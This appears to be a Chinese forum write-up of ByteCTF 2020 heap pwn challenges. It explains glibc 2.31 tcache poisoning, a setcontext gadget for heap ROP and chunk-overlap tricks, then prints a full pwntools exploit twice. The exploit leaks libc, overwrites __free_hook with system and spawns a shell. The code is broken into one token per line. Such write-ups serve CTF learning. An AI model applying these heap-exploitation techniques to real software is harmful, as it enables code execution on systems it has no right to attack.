-
-
[原创]【bytectf2020】
-
发表于: 2022-4-28 15:56 8373
-
鸽了ymnh一个月
(1)tcache poison:如果能够任意地址写0,那么可以把tcache中末尾是‘\x00'的堆块的fd指针的低地址写上'\x00',即可double free
(2)set_rdx_ret && setcontext联合实现堆上rop:劫持free_hook然后可以就可堆上实现rop了
需要用到上面这个非常特殊的gadget
(3)堆切割覆盖fd指针(from fmyy):当存在uaf漏洞时,先申请两个大的堆块(不妨假设chunk2的地址大于chunk1),并free使得两个堆块在unsorted bin中完成合并。此后申请小的堆块会考虑从合并堆块切割分配,并且地址从chunk1一直往高地址生长。那么就有可能和chunk2的内容有重叠,可以通过edit来修改chunk2的内容
2.31 9_1
这个add很特殊,存在逻辑漏洞,就是我们可以把v2赋值之后,再赋值v1,理论上来说v1和v2应该是一样的。同时有一个任意地址写0。很机智有一个初始化操作,但是如果是malloc(1),对0x20大小的堆块初始化就不完全了。并且限制了堆块的个数上限为8
很平常
无法uaf
泄露libc:通过malloc(1)切割unsorted chunk,切下一段0x20大小的堆块,并且通过逻辑漏洞,绕过往fd指针低地址写0,从而打印地址。
tcache poison:通过任意地址写0让tcache chunk自指,注意的是,此chunk还要满足从它到链尾至少还有两个chunk(不然申请不出我们想要写的地址)
这题还挺有意思的,不得不佩服出题人的脑洞,也挺好玩的
禁了system和execve的系统调用,不能使用one_gadget直接打,考虑orw绕过
前面就读了一个名字还有禁了一下沙箱,主要还是从这里开始看,从menu里面可以看出主要实现了3个功能。这三个功能和平常的管理系统都不大一样。
有个printf函数可以让我们leak libc和heap
free之后没有清空指针,多半可以uaf进行double free
发现在clip处挂了一个头插法插入的链表,由于shoot的时候没有断链,所以实际上可能是把一条一条的链拼接上去。如果我们挂的链上有一个free过的堆块,连续shoot至那个堆块就可double free了
申请后指针未初始化,可以利用这个leak libc和heap
double free劫持free_hook然后堆上rop的裸题
0x00000000001547a0
: mov rdx, qword ptr [rdi
+
8
]; mov qword ptr [rsp], rax; call qword ptr [rdx
+
0x20
];
0x00000000001547a0
: mov rdx, qword ptr [rdi
+
8
]; mov qword ptr [rsp], rax; call qword ptr [rdx
+
0x20
];
from
pwn
import
*
from
pwnlib.util.iters
import
mbruteforce
from
hashlib
import
sha256
import
base64
context.log_level
=
'debug'
context.arch
=
'amd64'
context.os
=
'linux'
r
=
process(
'./easyheap'
)
libc
=
ELF(
'./libc-2.31.so'
)
def
z():
gdb.attach(r)
def
cho(num):
r.sendlineafter(
">> "
,
str
(num))
def
exadd(v2,size,con):
cho(
1
)
r.sendlineafter(
"Size: "
,
str
(v2))
r.sendlineafter(
"Size: "
,
str
(size))
r.sendlineafter(
"Content: "
,con)
def
add(size,con):
cho(
1
)
r.sendlineafter(
"Size: "
,
str
(size))
r.sendlineafter(
"Content: "
,con)
def
show(index):
cho(
2
)
r.sendlineafter(
"Index: "
,
str
(index))
def
delet(index):
cho(
3
)
r.sendlineafter(
"Index: "
,
str
(index))
##leak libc
for
i
in
range
(
0
,
8
):
add(
0x80
,
'nameless'
)
for
i
in
range
(
0
,
7
):
delet(
7
-
i)
delet(
0
)
exadd(
0x100
,
1
,
'\x60'
)
#0
show(
0
)
r.recvuntil(
"Content: "
)
libcbase
=
u64(r.recvuntil(
'\x7f'
)[
-
6
:].ljust(
8
,
'\x00'
))
-
0x1c4bad
-
(libc.sym[
'__libc_start_main'
]
+
243
)
log.success(
'libcbase:'
+
hex
(libcbase))
##set
free_hook
=
libcbase
+
libc.sym[
'__free_hook'
]
system
=
libcbase
+
libc.sym[
'system'
]
##tcache poison
##exadd(0x2d1,0x80,'nameless')
delet(
0
)
for
i
in
range
(
0
,
8
):
add(
0x70
,
'nameless'
)
for
i
in
range
(
0
,
8
):
delet(i)
for
i
in
range
(
0
,
7
):
add(
0x60
,
'/bin/sh\x00'
)
delet(
1
)
delet(
5
)
delet(
4
)
delet(
3
)
delet(
2
)
exadd(
0xe1
,
0x60
,
'nameless'
)
add(
0x60
,p64(free_hook))
add(
0x60
,
'nameless'
)
add(
0x60
,
'nameless'
)
add(
0x60
,p64(system))
delet(
0
)
r.interactive()
from
pwn
import
*
from
pwnlib.util.iters
import
mbruteforce
from
hashlib
import
sha256
import
base64
context.log_level
=
'debug'
context.arch
=
'amd64'
context.os
=
'linux'
r
=
process(
'./easyheap'
)
libc
=
ELF(
'./libc-2.31.so'
)
def
z():
gdb.attach(r)
def
cho(num):
r.sendlineafter(
">> "
,
str
(num))
def
exadd(v2,size,con):
cho(
1
)
r.sendlineafter(
"Size: "
,
str
(v2))
r.sendlineafter(
"Size: "
,
str
(size))
r.sendlineafter(
"Content: "
,con)
def
add(size,con):
cho(
1
)
r.sendlineafter(
"Size: "
,
str
(size))
r.sendlineafter(
"Content: "
,con)
def
show(index):
cho(
2
)
r.sendlineafter(
"Index: "
,
str
(index))
def
delet(index):
cho(
3
)
r.sendlineafter(
"Index: "
,
str
(index))
##leak libc
for
i
in
range
(
0
,
8
):
add(
0x80
,
'nameless'
)
for
i
in
range
(
0
,
7
):
delet(
7
-
i)
delet(
0
)
exadd(
0x100
,
1
,
'\x60'
)
#0
show(
0
)
r.recvuntil(
"Content: "
)
libcbase
=
u64(r.recvuntil(
'\x7f'
)[
-
6
:].ljust(
8
,
'\x00'
))
-
0x1c4bad
-
(libc.sym[
'__libc_start_main'
]
+
243
)
log.success(
'libcbase:'
+
hex
(libcbase))
##set
free_hook
=
libcbase
+
libc.sym[
'__free_hook'
]
system
=
libcbase
+
libc.sym[
'system'
]
##tcache poison
##exadd(0x2d1,0x80,'nameless')
delet(
0
)
for
i
in
range
(
0
,
8
):
add(
0x70
,
'nameless'
)
for
i
in
range
(
0
,
8
):
delet(i)
for
i
in
range
(
0
,
7
):
add(
0x60
,
'/bin/sh\x00'
)
delet(
1
)
delet(
5
)
delet(
4
)
delet(
3
)
delet(
2
)
exadd(
0xe1
,
0x60
,
'nameless'
)
add(
0x60
,p64(free_hook))
add(
0x60
,
'nameless'
)
add(
0x60
,
'nameless'
)
add(
0x60
,p64(system))
赞赏
- 西湖论剑2024 IOT赛后复盘及mqtt rce详解 14709
- 对某嵌入式设备声波配网的研究 12069
- DAS10月月赛PWN出题心路&&CVE-2023-40930的介绍 11474
- [原创]关于Nokelock蓝牙锁破解分析 22124
- [原创]基于树莓派的蓝牙调试环境搭建 24613